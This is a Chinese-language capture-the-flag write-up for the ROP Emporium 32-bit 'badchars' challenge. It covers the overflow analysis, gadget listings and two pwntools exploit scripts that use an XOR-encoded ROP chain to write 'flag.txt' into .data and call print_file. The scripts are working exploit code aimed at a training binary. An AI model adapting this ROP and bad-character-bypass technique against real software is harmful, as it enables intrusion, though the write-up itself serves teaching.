wp
1 IDA进行分析发现溢出函数
1、溢出函数 int pwnme() { unsigned int v1; // [esp+0h] [ebp-38h] unsigned int i; // [esp+4h] [ebp-34h] unsigned int j; // [esp+8h] [ebp-30h] char v4[36]; // [esp+10h] [ebp-28h] BYREF setvbuf(stdout, 0, 2, 0); puts("badchars by ROP Emporium"); puts("x86\n"); memset(v4, 0, 0x20u); puts("badchars are: 'x', 'g', 'a', '.'"); printf("> "); v1 = read(0, v4, 0x200u); for ( i = 0; i < v1; ++i ) { for ( j = 0; j <= 3; ++j ) { if ( v4[i] == badcharacters[j] ) v4[i] = -21; } } return puts("Thank you!"); }
2 分析可以利用函数
2、可以利用函数 int __cdecl print_file(char *filename) { char s[33]; // [esp+Bh] [ebp-2Dh] BYREF FILE *stream; // [esp+2Ch] [ebp-Ch] stream = fopen(filename, "r"); if ( !stream ) { printf("Failed to open file: %s\n", filename); exit(1); } fgets(s, 33, stream); puts(s); return fclose(stream); } .plt:080483D0 print_file=0x80483d0 测试溢出点: python2 -c "print 'a'*44+'\xd0\x83\x04\x08'"|./badchars32 返回文件不对 溢出点可用。
根据题目提示,需要使用print_file函数读取flag.txt文件。
3 checksec一下
# checksec badchars32 [*] '/home/wdp/Desktop/pwn/rop/badchars32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RUNPATH: b'.'
开启nx堆栈不可执行。
4 分析题目基本思路
(1)通过栈溢出获取print_file函数的执行
(2)修改print_file函数的filename值为“flag.txt”
(3)开启nx需要构造ROP链完成
(4)查看可写段,.data段
(5)将“flag.txt”写入.data段,可以分两次写入,因此需要pop;pop;ret与mov ;ret链
(6)在pwnme函数中,写入数据会做字符检查"badchars are: 'x', 'g', 'a', '.'",需要绕过,使用简单的异或算法绕过
(7)编码绕过检查写入.data段后,再读取.data段中数据时,需要讲.data段中数据进行解码,再次做异或运算。因此需要pop;pop;ret与xor链。
(8)32位需要考虑堆栈平衡。
5 查看可写段
# readelf -S badchars32 | grep data [16] .rodata PROGBITS 080485d8 0005d8 000014 00 A 0 0 4 [24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4 data_addr=0x0804a018
6查找ROP链
# ROPgadget --binary badchars32 --only "mov|pop|ret|xor" Gadgets information ============================================================ 0x080484e7 : mov al, byte ptr [0xc9010804] ; ret 0x0804854f : mov dword ptr [edi], esi ; ret 0x08048381 : mov ebx, 0x81000000 ; ret 0x08048423 : mov ebx, dword ptr [esp] ; ret 0x080485bb : pop ebp ; ret 0x080485b8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0804839d : pop ebx ; ret 0x080485ba : pop edi ; pop ebp ; ret 0x080485b9 : pop esi ; pop edi ; pop ebp ; ret 0x08048386 : ret 0x0804849e : ret 0xeac1 0x08048547 : xor byte ptr [ebp], bl ; ret Unique gadgets found: 12 可用ROP 写入 0x080485b9 : pop esi ; pop edi ; pop ebp ; ret 0x0804854f : mov dword ptr [edi], esi ; ret 解码xor可用ROP 0x080485bb : pop ebp ; ret 0x0804839d : pop ebx ; ret 0x08048547 : xor byte ptr [ebp], bl ; ret 地址 pop_esi_edi_ebp=0x080485b9 mov_edi_esi=0x0804854f pop_ebp=0x080485bb pop_ebx=0x0804839d xor_ebp_bl=0x08048547
exp1
exp from pwn import * p = process('./badchars32') e = ELF('./badchars32') print_file=0x80483d0 data_addr=0x0804a018 pop_esi_edi_ebp=0x080485b9 mov_edi_esi=0x0804854f pop_ebp=0x080485bb pop_ebx=0x0804839d xor_ebp_bl=0x08048547 #encode badchars=['x','g', 'a', '.'] xor_byte=0x1 flag="flag.txt" while 1: flag_file="" for f in flag: f=ord(f)^xor_byte if chr(f) in badchars: xor_byte+=1 break else: flag_file+=chr(f) if len(flag_file)==8: break print(flag_file) """ for i in flag_file: i=ord(i)^xor_byte print(chr(i)) """ #write write_flagfile=p32(pop_esi_edi_ebp)+flag_file[:4].encode()+p32(data_addr)+p32(0x0)+p32(mov_edi_esi) write_flagfile +=p32(pop_esi_edi_ebp)+flag_file[4:8].encode()+p32(data_addr+4)+p32(0x0)+p32(mov_edi_esi) #decode for i in range(len(flag_file)): write_flagfile+=p32(pop_ebp) write_flagfile+=p32(data_addr+i) write_flagfile+=p32(pop_ebx) write_flagfile+=p32(xor_byte) write_flagfile+=p32(xor_ebp_bl) payload=b'a'*44+write_flagfile+p32(print_file)+p32(0x01)+p32(data_addr) p.recvuntil('>') p.sendline(payload) p.interactive() 在执行时报错误:[*] Got EOF while reading in interactive 经过测试发现,写入栈数据太长,造成栈错误,因此减少写入数据。
exp2
exp: from pwn import * p = process('./badchars32') e = ELF('./badchars32') print_file=0x80483d0 data_addr=0x0804a018 pop_esi_edi_ebp=0x080485b9 mov_edi_esi=0x0804854f pop_ebp=0x080485bb pop_ebx=0x0804839d xor_ebp_bl=0x08048547 #encode badchars=['x', 'g', 'a', '.'] xor_byte=0x1 flag="flag.txt" while 1: flag_file="" index=[] i=0 for f in flag: if (f in badchars): c=ord(f)^xor_byte if chr(c) in badchars: xor_byte+=1 break else: #print(chr(c)) index.append(flag.index(f)) flag_file+=chr(c) else: flag_file+=f if len(flag_file)==8: break #print(flag_file) #print(index) #write write_flagfile=p32(pop_esi_edi_ebp)+flag_file[:4].encode()+p32(data_addr)+p32(0x0)+p32(mov_edi_esi) write_flagfile +=p32(pop_esi_edi_ebp)+flag_file[4:8].encode()+p32(data_addr+4)+p32(0x0)+p32(mov_edi_esi) #decode for i in index: write_flagfile+=p32(pop_ebp) write_flagfile+=p32(data_addr+i) write_flagfile+=p32(pop_ebx) write_flagfile+=p32(xor_byte) write_flagfile+=p32(xor_ebp_bl) payload=b'a'*44+write_flagfile+p32(print_file)+p32(0x0)+p32(data_addr) p.recvuntil('>') p.sendline(payload) p.interactive() [+] Starting local process './badchars32': pid 127295 [*] '/home/wdp/Desktop/pwn/rop/badchars32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RUNPATH: b'.' [*] Switching to interactive mode Thank you! ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive